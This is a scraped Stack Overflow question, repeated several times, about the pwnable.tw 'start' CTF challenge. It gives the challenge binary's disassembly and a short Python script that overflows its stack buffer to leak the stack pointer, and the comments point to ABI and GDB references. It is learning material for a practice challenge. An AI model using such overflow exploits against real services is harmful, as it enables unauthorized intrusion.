Exploiting system calls in assemblyCalling an external command in PythonJumping to the next “instruction” using gdbBase pointer and stack pointerunable to read from file when user provides filename (x86 assembly program using nasm)execv example is segfaultingASM x86 Function call : best method to save EBP and common registers (EAX, EBX, …)NASM on linux: Using sys_read adds extra line at the endGNU Assembler sys_write is not workingC++ code for testing the Collatz conjecture faster than hand-written assembly - why?Safely Searching Virtual Address Space using NASM
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Exploiting system calls in assembly
Calling an external command in PythonJumping to the next “instruction” using gdbBase pointer and stack pointerunable to read from file when user provides filename (x86 assembly program using nasm)execv example is segfaultingASM x86 Function call : best method to save EBP and common registers (EAX, EBX, …)NASM on linux: Using sys_read adds extra line at the endGNU Assembler sys_write is not workingC++ code for testing the Collatz conjecture faster than hand-written assembly - why?Safely Searching Virtual Address Space using NASM
.everyoneloves__top-leaderboard:empty,.everyoneloves__mid-leaderboard:empty,.everyoneloves__bot-mid-leaderboard:empty height:90px;width:728px;box-sizing:border-box;
I'm attempting to solve pwnable.tw's start challenge to learn a bit more about exploits. The provided dissassembled binary looks like this:
start: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 54 push esp
8048061: 68 9d 80 04 08 push 0x804809d
8048066: 31 c0 xor eax,eax
8048068: 31 db xor ebx,ebx
804806a: 31 c9 xor ecx,ecx
804806c: 31 d2 xor edx,edx
804806e: 68 43 54 46 3a push 0x3a465443
8048073: 68 74 68 65 20 push 0x20656874
8048078: 68 61 72 74 20 push 0x20747261
804807d: 68 73 20 73 74 push 0x74732073
8048082: 68 4c 65 74 27 push 0x2774654c
8048087: 89 e1 mov ecx,esp ; buffer = $esp
8048089: b2 14 mov dl,0x14 ; count = 0x14 (20)
804808b: b3 01 mov bl,0x1 ; fd = 1 (stdout)
804808d: b0 04 mov al,0x4 ; system call = 4 (sys_write)
804808f: cd 80 int 0x80 ; call sys_write(1, $esp, 20)
8048091: 31 db xor ebx,ebx ; fd = 0 (stdin)
8048093: b2 3c mov dl,0x3c ; count = 0x36 (60)
8048095: b0 03 mov al,0x3 ; system call = 3 (sys_read)
8048097: cd 80 int 0x80 ; sys_read(0, ecx/$esp, 60)
8048099: 83 c4 14 add esp,0x14
804809c: c3 ret
0804809d <_exit>:
804809d: 5c pop esp
804809e: 31 c0 xor eax,eax
80480a0: 40 inc eax
Several writeups (1, 2, and 3) point out that the solution lies in leaking the esp address that was moved into ecx by exploiting the count values on sys_write and sys_read. This way, we can force the return address to 0x8048087 so that the program will loop and print the content of esp.
However, I do not understand how this really works. What exactly do the system calls do to registers and how does that change the return address? Why does the below exploit work?
from socket import *
from struct import *
c = socket(AF_INET, SOCK_STREAM)
c.connect(('chall.pwnable.tw', 10000))
# leak esp
c.send('x' * 20 + pack('<I', 0x08048087))
esp = unpack('<I', c.recv(0x100)[:4])[0]
print 'esp = 0:08x'.format(esp)
I believe a step-by-step walkthrough that displays per-step register values could really help clarify the problem.
python security assembly x86 exploit
edited Mar 24 at 1:33
Peter Cordes
141k20215356
asked Mar 24 at 1:06
Gabriel RebelloGabriel Rebello
5201411
add a comment |
I'm attempting to solve pwnable.tw's start challenge to learn a bit more about exploits. The provided dissassembled binary looks like this:
start: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 54 push esp
8048061: 68 9d 80 04 08 push 0x804809d
8048066: 31 c0 xor eax,eax
8048068: 31 db xor ebx,ebx
804806a: 31 c9 xor ecx,ecx
804806c: 31 d2 xor edx,edx
804806e: 68 43 54 46 3a push 0x3a465443
8048073: 68 74 68 65 20 push 0x20656874
8048078: 68 61 72 74 20 push 0x20747261
804807d: 68 73 20 73 74 push 0x74732073
8048082: 68 4c 65 74 27 push 0x2774654c
8048087: 89 e1 mov ecx,esp ; buffer = $esp
8048089: b2 14 mov dl,0x14 ; count = 0x14 (20)
804808b: b3 01 mov bl,0x1 ; fd = 1 (stdout)
804808d: b0 04 mov al,0x4 ; system call = 4 (sys_write)
804808f: cd 80 int 0x80 ; call sys_write(1, $esp, 20)
8048091: 31 db xor ebx,ebx ; fd = 0 (stdin)
8048093: b2 3c mov dl,0x3c ; count = 0x36 (60)
8048095: b0 03 mov al,0x3 ; system call = 3 (sys_read)
8048097: cd 80 int 0x80 ; sys_read(0, ecx/$esp, 60)
8048099: 83 c4 14 add esp,0x14
804809c: c3 ret
0804809d <_exit>:
804809d: 5c pop esp
804809e: 31 c0 xor eax,eax
80480a0: 40 inc eax
Several writeups (1, 2, and 3) point out that the solution lies in leaking the esp address that was moved into ecx by exploiting the count values on sys_write and sys_read. This way, we can force the return address to 0x8048087 so that the program will loop and print the content of esp.
However, I do not understand how this really works. What exactly do the system calls do to registers and how does that change the return address? Why does the below exploit work?
from socket import *
from struct import *
c = socket(AF_INET, SOCK_STREAM)
c.connect(('chall.pwnable.tw', 10000))
# leak esp
c.send('x' * 20 + pack('<I', 0x08048087))
esp = unpack('<I', c.recv(0x100)[:4])[0]
print 'esp = 0:08x'.format(esp)
I believe a step-by-step walkthrough that displays per-step register values could really help clarify the problem.
python security assembly x86 exploit
edited Mar 24 at 1:33
Peter Cordes
141k20215356
asked Mar 24 at 1:06
Gabriel RebelloGabriel Rebello
5201411
What are the calling conventions for UNIX & Linux system calls on i386 and x86-64 explains how the ABI works: ebx, ecx, edx, ... are passed (by the kernel) to its internalsys_writefunction which implements the Linux/POSIXwrite(fd, buf, len)system call. See What happens if you use the 32-bit int 0x80 Linux ABI in 64-bit code? for more about the kernel side of things, how Linux collects args and dispatches to a function pointer based on the call number in EAX.
– Peter Cordes
Mar 24 at 1:35
Re: your last paragraph: you're asking someone to single-step this program in GDB for you and write down the results? If you think that would be a useful answer, why not do it yourself? GDB'slayout regshould prove useful for watching register values change. See the bottom of stackoverflow.com/tags/x86/info for GDB tips.
– Peter Cordes
Mar 24 at 1:37
@PeterCordes because I didn't know GDB could do this. Thanks for the tips, I'll post an answer if I succeed.
– Gabriel Rebello
Mar 24 at 1:47
add a comment |
I'm attempting to solve pwnable.tw's start challenge to learn a bit more about exploits. The provided dissassembled binary looks like this:
start: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 54 push esp
8048061: 68 9d 80 04 08 push 0x804809d
8048066: 31 c0 xor eax,eax
8048068: 31 db xor ebx,ebx
804806a: 31 c9 xor ecx,ecx
804806c: 31 d2 xor edx,edx
804806e: 68 43 54 46 3a push 0x3a465443
8048073: 68 74 68 65 20 push 0x20656874
8048078: 68 61 72 74 20 push 0x20747261
804807d: 68 73 20 73 74 push 0x74732073
8048082: 68 4c 65 74 27 push 0x2774654c
8048087: 89 e1 mov ecx,esp ; buffer = $esp
8048089: b2 14 mov dl,0x14 ; count = 0x14 (20)
804808b: b3 01 mov bl,0x1 ; fd = 1 (stdout)
804808d: b0 04 mov al,0x4 ; system call = 4 (sys_write)
804808f: cd 80 int 0x80 ; call sys_write(1, $esp, 20)
8048091: 31 db xor ebx,ebx ; fd = 0 (stdin)
8048093: b2 3c mov dl,0x3c ; count = 0x36 (60)
8048095: b0 03 mov al,0x3 ; system call = 3 (sys_read)
8048097: cd 80 int 0x80 ; sys_read(0, ecx/$esp, 60)
8048099: 83 c4 14 add esp,0x14
804809c: c3 ret
0804809d <_exit>:
804809d: 5c pop esp
804809e: 31 c0 xor eax,eax
80480a0: 40 inc eax
Several writeups (1, 2, and 3) point out that the solution lies in leaking the esp address that was moved into ecx by exploiting the count values on sys_write and sys_read. This way, we can force the return address to 0x8048087 so that the program will loop and print the content of esp.
However, I do not understand how this really works. What exactly do the system calls do to registers and how does that change the return address? Why does the below exploit work?
from socket import *
from struct import *
c = socket(AF_INET, SOCK_STREAM)
c.connect(('chall.pwnable.tw', 10000))
# leak esp
c.send('x' * 20 + pack('<I', 0x08048087))
esp = unpack('<I', c.recv(0x100)[:4])[0]
print 'esp = 0:08x'.format(esp)
I believe a step-by-step walkthrough that displays per-step register values could really help clarify the problem.
python security assembly x86 exploit
edited Mar 24 at 1:33
Peter Cordes
141k20215356
asked Mar 24 at 1:06
Gabriel RebelloGabriel Rebello
5201411
I'm attempting to solve pwnable.tw's start challenge to learn a bit more about exploits. The provided dissassembled binary looks like this:
start: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 54 push esp
8048061: 68 9d 80 04 08 push 0x804809d
8048066: 31 c0 xor eax,eax
8048068: 31 db xor ebx,ebx
804806a: 31 c9 xor ecx,ecx
804806c: 31 d2 xor edx,edx
804806e: 68 43 54 46 3a push 0x3a465443
8048073: 68 74 68 65 20 push 0x20656874
8048078: 68 61 72 74 20 push 0x20747261
804807d: 68 73 20 73 74 push 0x74732073
8048082: 68 4c 65 74 27 push 0x2774654c
8048087: 89 e1 mov ecx,esp ; buffer = $esp
8048089: b2 14 mov dl,0x14 ; count = 0x14 (20)
804808b: b3 01 mov bl,0x1 ; fd = 1 (stdout)
804808d: b0 04 mov al,0x4 ; system call = 4 (sys_write)
804808f: cd 80 int 0x80 ; call sys_write(1, $esp, 20)
8048091: 31 db xor ebx,ebx ; fd = 0 (stdin)
8048093: b2 3c mov dl,0x3c ; count = 0x36 (60)
8048095: b0 03 mov al,0x3 ; system call = 3 (sys_read)
8048097: cd 80 int 0x80 ; sys_read(0, ecx/$esp, 60)
8048099: 83 c4 14 add esp,0x14
804809c: c3 ret
0804809d <_exit>:
804809d: 5c pop esp
804809e: 31 c0 xor eax,eax
80480a0: 40 inc eax
Several writeups (1, 2, and 3) point out that the solution lies in leaking the esp address that was moved into ecx by exploiting the count values on sys_write and sys_read. This way, we can force the return address to 0x8048087 so that the program will loop and print the content of esp.
However, I do not understand how this really works. What exactly do the system calls do to registers and how does that change the return address? Why does the below exploit work?
from socket import *
from struct import *
c = socket(AF_INET, SOCK_STREAM)
c.connect(('chall.pwnable.tw', 10000))
# leak esp
c.send('x' * 20 + pack('<I', 0x08048087))
esp = unpack('<I', c.recv(0x100)[:4])[0]
print 'esp = 0:08x'.format(esp)
I believe a step-by-step walkthrough that displays per-step register values could really help clarify the problem.
python security assembly x86 exploit
python security assembly x86 exploit
edited Mar 24 at 1:33
Peter Cordes
141k20215356
asked Mar 24 at 1:06
Gabriel RebelloGabriel Rebello
5201411
edited Mar 24 at 1:33
Peter Cordes
141k20215356
asked Mar 24 at 1:06
Gabriel RebelloGabriel Rebello
5201411
edited Mar 24 at 1:33
Peter Cordes
141k20215356
edited Mar 24 at 1:33
Peter Cordes
141k20215356
edited Mar 24 at 1:33
Peter Cordes
141k20215356
141k20215356
asked Mar 24 at 1:06
Gabriel RebelloGabriel Rebello
5201411
asked Mar 24 at 1:06
Gabriel RebelloGabriel Rebello
5201411
asked Mar 24 at 1:06
Gabriel RebelloGabriel Rebello
5201411
5201411
What are the calling conventions for UNIX & Linux system calls on i386 and x86-64 explains how the ABI works: ebx, ecx, edx, ... are passed (by the kernel) to its internalsys_writefunction which implements the Linux/POSIXwrite(fd, buf, len)system call. See What happens if you use the 32-bit int 0x80 Linux ABI in 64-bit code? for more about the kernel side of things, how Linux collects args and dispatches to a function pointer based on the call number in EAX.
– Peter Cordes
Mar 24 at 1:35
Re: your last paragraph: you're asking someone to single-step this program in GDB for you and write down the results? If you think that would be a useful answer, why not do it yourself? GDB'slayout regshould prove useful for watching register values change. See the bottom of stackoverflow.com/tags/x86/info for GDB tips.
– Peter Cordes
Mar 24 at 1:37
@PeterCordes because I didn't know GDB could do this. Thanks for the tips, I'll post an answer if I succeed.
– Gabriel Rebello
Mar 24 at 1:47
add a comment |
What are the calling conventions for UNIX & Linux system calls on i386 and x86-64 explains how the ABI works: ebx, ecx, edx, ... are passed (by the kernel) to its internalsys_writefunction which implements the Linux/POSIXwrite(fd, buf, len)system call. See What happens if you use the 32-bit int 0x80 Linux ABI in 64-bit code? for more about the kernel side of things, how Linux collects args and dispatches to a function pointer based on the call number in EAX.
– Peter Cordes
Mar 24 at 1:35
Re: your last paragraph: you're asking someone to single-step this program in GDB for you and write down the results? If you think that would be a useful answer, why not do it yourself? GDB'slayout regshould prove useful for watching register values change. See the bottom of stackoverflow.com/tags/x86/info for GDB tips.
– Peter Cordes
Mar 24 at 1:37
@PeterCordes because I didn't know GDB could do this. Thanks for the tips, I'll post an answer if I succeed.
– Gabriel Rebello
Mar 24 at 1:47
What are the calling conventions for UNIX & Linux system calls on i386 and x86-64 explains how the ABI works: ebx, ecx, edx, ... are passed (by the kernel) to its internal
sys_write function which implements the Linux/POSIX write(fd, buf, len) system call. See What happens if you use the 32-bit int 0x80 Linux ABI in 64-bit code? for more about the kernel side of things, how Linux collects args and dispatches to a function pointer based on the call number in EAX.– Peter Cordes
Mar 24 at 1:35
What are the calling conventions for UNIX & Linux system calls on i386 and x86-64 explains how the ABI works: ebx, ecx, edx, ... are passed (by the kernel) to its internal
sys_write function which implements the Linux/POSIX write(fd, buf, len) system call. See What happens if you use the 32-bit int 0x80 Linux ABI in 64-bit code? for more about the kernel side of things, how Linux collects args and dispatches to a function pointer based on the call number in EAX.– Peter Cordes
Mar 24 at 1:35
Re: your last paragraph: you're asking someone to single-step this program in GDB for you and write down the results? If you think that would be a useful answer, why not do it yourself? GDB's
layout reg should prove useful for watching register values change. See the bottom of stackoverflow.com/tags/x86/info for GDB tips.– Peter Cordes
Mar 24 at 1:37
Re: your last paragraph: you're asking someone to single-step this program in GDB for you and write down the results? If you think that would be a useful answer, why not do it yourself? GDB's
layout reg should prove useful for watching register values change. See the bottom of stackoverflow.com/tags/x86/info for GDB tips.– Peter Cordes
Mar 24 at 1:37
@PeterCordes because I didn't know GDB could do this. Thanks for the tips, I'll post an answer if I succeed.
– Gabriel Rebello
Mar 24 at 1:47
@PeterCordes because I didn't know GDB could do this. Thanks for the tips, I'll post an answer if I succeed.
– Gabriel Rebello
Mar 24 at 1:47
add a comment |
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What are the calling conventions for UNIX & Linux system calls on i386 and x86-64 explains how the ABI works: ebx, ecx, edx, ... are passed (by the kernel) to its internal
sys_writefunction which implements the Linux/POSIXwrite(fd, buf, len)system call. See What happens if you use the 32-bit int 0x80 Linux ABI in 64-bit code? for more about the kernel side of things, how Linux collects args and dispatches to a function pointer based on the call number in EAX.– Peter Cordes
Mar 24 at 1:35
Re: your last paragraph: you're asking someone to single-step this program in GDB for you and write down the results? If you think that would be a useful answer, why not do it yourself? GDB's
layout regshould prove useful for watching register values change. See the bottom of stackoverflow.com/tags/x86/info for GDB tips.– Peter Cordes
Mar 24 at 1:37
@PeterCordes because I didn't know GDB could do this. Thanks for the tips, I'll post an answer if I succeed.
– Gabriel Rebello
Mar 24 at 1:47